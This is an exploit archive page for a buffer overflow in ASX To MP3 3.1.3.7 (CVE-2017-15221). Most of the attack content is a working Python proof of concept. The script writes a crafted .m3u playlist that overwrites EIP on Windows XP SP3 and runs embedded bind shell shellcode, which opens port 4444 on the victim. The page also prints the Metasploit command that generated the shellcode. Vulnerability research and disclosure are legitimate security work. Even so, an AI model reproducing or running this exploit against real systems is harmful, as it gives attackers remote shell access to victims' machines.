Exploit the possiblities

ASX To MP3 3.1.3.7 Buffer Overflow

ASX To MP3 3.1.3.7 Buffer Overflow
Posted Oct 12, 2017
Authored by Parichay Rai

ASX to MP3 version 3.1.3.7 .m3u buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2017-15221
MD5 | ca9bb5d9c9e7856d586e0c6e896f743a

ASX To MP3 3.1.3.7 Buffer Overflow

Change Mirror Download
# Exploit Title: Buffer Overflow via crafted malicious .m3u file


# Exploit Author: Parichay Rai

# Tested on: XP Service Pack 3

# CVE : CVE-2017-15221

Description
------------

A buffer overflow Attack possible due to improper input mechanism

Proof of Concept
----------------

#!/usr/bin/python

#This exploit generates a malicious playlist for the asx to mp3 converter 3.1.3.7.2010.
#This is an exploit that work well against a windows XP3 systems!
#Successful exploit gives you a bind shell on 4444

BadChar= "\x00\x0a\x0d\x20"

# Payload Generation Command: msfpayload windows/shell_bind_tcp EXITFUNC=none R | msfencode -a x86 -b "\x00\x0a\x0d\x20" -f c

# Successful exploitation opens port 4444 on the victim Machine

shellcode=("\xd9\xee\xbf\xad\x07\x92\x3e\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x31\x7e\x18\x03\x7e\x18\x83\xc6\xa9\xe5\x67\xc2" +
"\x59\x60\x87\x3b\x99\x13\x01\xde\xa8\x01\x75\xaa\x98\x95" +
"\xfd\xfe\x10\x5d\x53\xeb\xa3\x13\x7c\x1c\x04\x99\x5a\x13" +
"\x95\x2f\x63\xff\x55\x31\x1f\x02\x89\x91\x1e\xcd\xdc\xd0" +
"\x67\x30\x2e\x80\x30\x3e\x9c\x35\x34\x02\x1c\x37\x9a\x08" +
"\x1c\x4f\x9f\xcf\xe8\xe5\x9e\x1f\x40\x71\xe8\x87\xeb\xdd" +
"\xc9\xb6\x38\x3e\x35\xf0\x35\xf5\xcd\x03\x9f\xc7\x2e\x32" +
"\xdf\x84\x10\xfa\xd2\xd5\x55\x3d\x0c\xa0\xad\x3d\xb1\xb3" +
"\x75\x3f\x6d\x31\x68\xe7\xe6\xe1\x48\x19\x2b\x77\x1a\x15" +
"\x80\xf3\x44\x3a\x17\xd7\xfe\x46\x9c\xd6\xd0\xce\xe6\xfc" +
"\xf4\x8b\xbd\x9d\xad\x71\x10\xa1\xae\xde\xcd\x07\xa4\xcd" +
"\x1a\x31\xe7\x99\xef\x0c\x18\x5a\x67\x06\x6b\x68\x28\xbc" +
"\xe3\xc0\xa1\x1a\xf3\x27\x98\xdb\x6b\xd6\x22\x1c\xa5\x1d" +
"\x76\x4c\xdd\xb4\xf6\x07\x1d\x38\x23\x87\x4d\x96\x9b\x68" +
"\x3e\x56\x4b\x01\x54\x59\xb4\x31\x57\xb3\xc3\x75\x99\xe7" +
"\x80\x11\xd8\x17\x37\xbe\x55\xf1\x5d\x2e\x30\xa9\xc9\x8c" +
"\x67\x62\x6e\xee\x4d\xde\x27\x78\xd9\x08\xff\x87\xda\x1e" +
"\xac\x24\x72\xc9\x26\x27\x47\xe8\x39\x62\xef\x63\x02\xe5" +
"\x65\x1a\xc1\x97\x7a\x37\xb1\x34\xe8\xdc\x41\x32\x11\x4b" +
"\x16\x13\xe7\x82\xf2\x89\x5e\x3d\xe0\x53\x06\x06\xa0\x8f" +
"\xfb\x89\x29\x5d\x47\xae\x39\x9b\x48\xea\x6d\x73\x1f\xa4" +
"\xdb\x35\xc9\x06\xb5\xef\xa6\xc0\x51\x69\x85\xd2\x27\x76" +
"\xc0\xa4\xc7\xc7\xbd\xf0\xf8\xe8\x29\xf5\x81\x14\xca\xfa" +
"\x58\x9d\xa0\xc0\x80\xbf\xdc\x6c\xd1\xfd\x80\x8e\x0c\xc1" +
"\xbc\x0c\xa4\xba\x3a\x0c\xcd\xbf\x07\x8a\x3e\xb2\x18\x7f" +
"\x40\x61\x18\xaa")

buffer="http://"
buffer+="A"*17417
buffer+="\x53\x93\x42\x7e" #(overwrites EIP in windows XP service pack 3 with the address of user32.dll)
buffer+="\x90"*10 #NOPs
buffer+=shellcode
buffer+="\x90"*10 #NOPs
f=open("exploit.m3u","w")
f.write(buffer);
f.close()

----------------------
Affected Targets
---------------------

ASX to MP3 version 3.1.3.7 and May be less


Solution
---------------

Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.


Credits
----------

Offensive Security
Rebellious Ceaser

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    12 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close